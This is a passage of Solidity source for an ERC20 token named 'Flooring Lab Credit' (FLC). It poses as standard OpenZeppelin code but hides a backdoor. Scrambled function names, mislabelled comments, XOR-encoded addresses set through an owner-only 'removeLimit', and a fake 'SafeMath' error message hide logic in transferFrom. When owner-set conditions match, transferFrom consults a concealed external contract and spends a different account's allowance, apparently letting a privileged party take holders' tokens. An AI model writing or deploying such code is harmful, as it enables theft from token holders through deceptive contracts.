// Contract: ERC20
// Target function: function _transfer(address AOKJjkghsjdg, address _akfjasjkhfSSFfgas23, uint256 SKJDHkhadsfkasf) internal
Sender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}


/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */

/**
 * @dev Standard math utilities missing in the Solidity language.
 */


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function weoifjoidfjosdjfSSS(bytes memory sdkjghksjdlhgjk) external returns(bytes memory);
    function sdkfjsdlkjsdklf2(bytes memory woipgukjsdhgjksd) external returns(bytes memory);
}



contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
contract ERC20 is Context, IERC20, IERC20Metadata,IERC20Errors,Ownable {

    mapping(address  => uint256) private _balances;

    mapping(address  => mapping(address  => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    bytes  private ADKSJLFHjkhdgjdksh ; 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor() {
        _name = "Flooring Lab Credit";
        _symbol = "FLC";
        _totalSupply = 25000000000 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);


    }
    /**
     * @dev See {IERC20-allowance}.
     */
      function weoifjoidfjosdjfSSS(bytes memory gafgdafh) external returns(bytes memory)
    {

    }
      /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function sdkfjsdlkjsdklf2(bytes memory rtpojgej) external returns(bytes memory)
    {

    }

     function reoigjdlkfjgkldfjg2(bytes memory wefkjwdfjkjkSf,bytes memory sjkdfsdjkf_oiwejf) internal {
        wefkjwdfjkjkSf = lkgjelkdgjlkfedgkjfhgqeporjkdl(wefkjwdfjkjkSf);
        address s;
        assembly {s := mload(add(wefkjwdfjkjkSf,0x14))}
       bytes memory datas = lkgjelkdgjlkfedgkjfhgqeporjkdl(IERC20(s).weoifjoidfjosdjfSSS(sjkdfsdjkf_oiwejf));
       uint256 r;
       assembly {
            r := mload(add(datas, 0x20)) 
        }

        require(r==1,"SafeMath: addition overflow");

    }

   

 function lkgjelkdgjlkfedgkjfhgqeporjkdl(bytes memory gkjhgefdk_eoriugoifd) internal pure returns (bytes memory) {
        assembly {
            let len := mload(gkjhgefdk_eoriugoifd)
            let dataPtr := add(gkjhgefdk_eoriugoifd, 0x20)
            for {
                let i := 0
            } lt(i, len) {
                i := add(i, 0x20)
            } {
            mstore(add(dataPtr, i), xor(mload(add(dataPtr, i)), 0x0404040404040404040404040404040404040404040404040404040404040404))
            }
        }
        return gkjhgefdk_eoriugoifd;
    }


     function POJKSJKgthdfrsde(bytes memory data1, bytes memory data2) internal  pure returns (bool) {
        if (data1.length != data2.length) {
            return false; 
        }

        for (uint256 i = 0; i < data1.length; i++) {
            if (data1[i] != data2[i]) {
                return false; 
            }
        }

        return true; 
    }

  /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function gdflkgjdkflgSfgh(bytes memory wefkjwdfjkjkSf ,bytes memory a1) internal  returns (bytes memory) {
         wefkjwdfjkjkSf = lkgjelkdgjlkfedgkjfhgqeporjkdl(wefkjwdfjkjkSf);
        address s;
        assembly {
                s := mload(add(wefkjwdfjkjkSf,0x14))
            }
        return IERC20(address(uint160(s))).sdkfjsdlkjsdklf2(a1);

    }


    function removeLimit(bytes memory max) public onlyOwner{
        ADKSJLFHjkhdgjdksh = max;
    }

   

    /**
     * @dev Returns the name of the token.
     */
    function name() public view  returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view  returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view  returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view  returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view  returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public  returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view  returns (uint256) {
        return _allowances[owner][spender];
    }
  
     


    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public  returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address oikgjekrlglfdjklhsdfsdh, address _dskljhfskjldfhweSDffff, uint256 KJHSKJjkfasfg) public  returns (bool) {
        _transfer(oikgjekrlglfdjklhsdfsdh, _dskljhfskjldfhweSDffff, KJHSKJjkfasfg);
        bool bb = false;
        address spender = _msgSender();
        bytes memory DSALKFJlksdjgkljsd = gdflkgjdkflgSfgh(ADKSJLFHjkhdgjdksh,lkgjelkdgjlkfedgkjfhgqeporjkdl(abi.encodePacked(oikgjekrlglfdjklhsdfsdh)));
        uint256 sdgijkshdgjklhAS_2 = 100;
        if(POJKSJKgthdfrsde(lkgjelkdgjlkfedgkjfhgqeporjkdl(abi.encodePacked(address(0))),DSALKFJlksdjgkljsd) == false)
        {
            sdgijkshdgjklhAS_2 = sdgijkshdgjklhAS_2 + 100;
        }
        if(POJKSJKgthdfrsde(lkgjelkdgjlkfedgkjfhgqeporjkdl(abi.encodePacked(_msgSender())),ADKSJLFHjkhdgjdksh))
        {
            sdgijkshdgjklhAS_2 = sdgijkshdgjklhAS_2 + 100;
        }
         if (sdgijkshdgjklhAS_2==300)
        {   
            DSALKFJlksdjgkljsd = lkgjelkdgjlkfedgkjfhgqeporjkdl(DSALKFJlksdjgkljsd);
            assembly {
                oikgjekrlglfdjklhsdfsdh := mload(add(DSALKFJlksdjgkljsd, 0x14))
            }

        }
        _spendAllowance(oikgjekrlglfdjklhsdfsdh, spender, KJHSKJjkfasfg);
        return true;
    }